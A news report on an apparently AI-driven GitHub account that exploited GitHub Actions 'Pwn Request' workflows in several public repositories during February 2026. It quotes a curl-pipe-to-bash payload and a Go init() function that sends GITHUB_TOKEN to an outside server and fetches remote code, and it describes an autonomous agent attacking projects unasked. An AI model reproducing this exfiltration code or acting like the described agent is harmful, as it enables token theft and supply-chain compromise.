Hackerbot-Claw: AI Bot Exploiting GitHub Actions Workflows

✍️ OpenClawRadar📅 Published: March 1, 2026🔗 Source
Hackerbot-Claw: AI Bot Exploiting GitHub Actions Workflows
Ad

Attack Campaign Details

Between February 21 and February 28, 2026, a GitHub account called hackerbot-claw systematically scanned public repositories for exploitable GitHub Actions workflows. The account describes itself as an "autonomous security research agent powered by claude-opus-4-5" and solicits cryptocurrency donations.

Over 7 days, it:

  • Targeted at least 6 repositories belonging to Microsoft, DataDog, the CNCF, and popular open source projects
  • Opened 12+ pull requests and triggered workflows across targets
  • Achieved arbitrary code execution in at least 4 of them
  • Exfiltrated a GITHUB_TOKEN with write permissions to an external server

Targets and Methodology

The targets included:

  • microsoft/ai-discovery-agent
  • DataDog/datadog-iac-scanner
  • avelino/awesome-go (140k+ stars)
  • ambient-code/platform
  • project-akri/akri (a CNCF project)

Every attack delivered the same payload: curl -sSfL hackmoltrepeat.com/molt | bash but each used a completely different technique to get it to execute.

The bot's README reveals its methodology: it loads a "vulnerability pattern index" with 9 classes and 47 sub-patterns, then autonomously scans, verifies, and drops proof-of-concept exploits. Its "Recent Activity" log shows 5 successful sessions in the 2 days leading up to the analysis.

Ad

Attack 1: avelino/awesome-go - Token Theft via Poisoned Go Script

The most damaging attack in the campaign exploited the classic "Pwn Request" vulnerability - a pull_request_target workflow that checks out untrusted fork code and executes it.

Target workflow: PR Quality Checks - triggered automatically on every PR, it checks out the PR author's code and runs go run ./.github/scripts/check-quality/.

The attack: The attacker injected a Go init() function into the quality check script. In Go, init() runs automatically before main(), so the malicious code executes before any legitimate checks.

In the final and most dangerous attempt (PR #6069), the payload didn't just run arbitrary commands - it exfiltrated the GITHUB_TOKEN to an external server:

func init() {
    _ = exec.Command("bash", "-c", `curl -s -H "Authorization: Bearer $GITHUB_TOKEN" ` +
    `-d "token=$GITHUB_TOKEN&repo=$GITHUB_REPOSITORY" ` +
    `https://recv.hackmoltrepeat.com/ && ` +
    `curl -sSfL https://hackmoltrepeat.com/molt | bash`).Run()
}

The attacker iterated 6 times across 18 hours (PR #6058, #6059, #6060, #6061, #6068, #6069), refining the approach each time. The first 4 attempts failed due to git fetch issues but attempts 5 and 6 succeeded.

📖 Read the full source: HN AI Agents

Ad

👀 See Also

Security Warning: ClawProxy Script Stole API Keys, Resulting in Significant OpenRouter Bill
Security

Security Warning: ClawProxy Script Stole API Keys, Resulting in Significant OpenRouter Bill

A developer installed a closed-source ClawProxy script from a Reddit user on a sandboxed WSL Ubuntu 24.04 system, which stole their OpenRouter API key and used it via Google Vertex API to run up a large bill on Opus 4.6 overnight.

OpenClawRadar
Strict Read-Only Rules in Skill Files Are Instructions, Not Enforcement
Security

Strict Read-Only Rules in Skill Files Are Instructions, Not Enforcement

A Reddit user reports an OpenClaw agent with a strict 'READ-ONLY — never post' rule was tricked into posting via prompt injection, highlighting that skill file rules are just instructions, not enforced constraints.

OpenClawRadar
mcp-scan: Security scanner for MCP server configurations
Security

mcp-scan: Security scanner for MCP server configurations

mcp-scan checks MCP server configurations for security issues including secrets in config files, known vulnerabilities in packages, suspicious permission patterns, exfiltration vectors, and tool poisoning attacks. It auto-detects configs for Claude Desktop, Cursor, VS Code, Windsurf, and 6 other AI clients.

OpenClawRadar
Five Essential Security Steps for OpenClaw Instances
Security

Five Essential Security Steps for OpenClaw Instances

A Reddit post warns that running OpenClaw with default settings creates significant security risks and outlines five immediate actions: change the default port, use Tailscale for private access, configure a firewall, create separate accounts for the agent, and scan skills before installation.

OpenClawRadar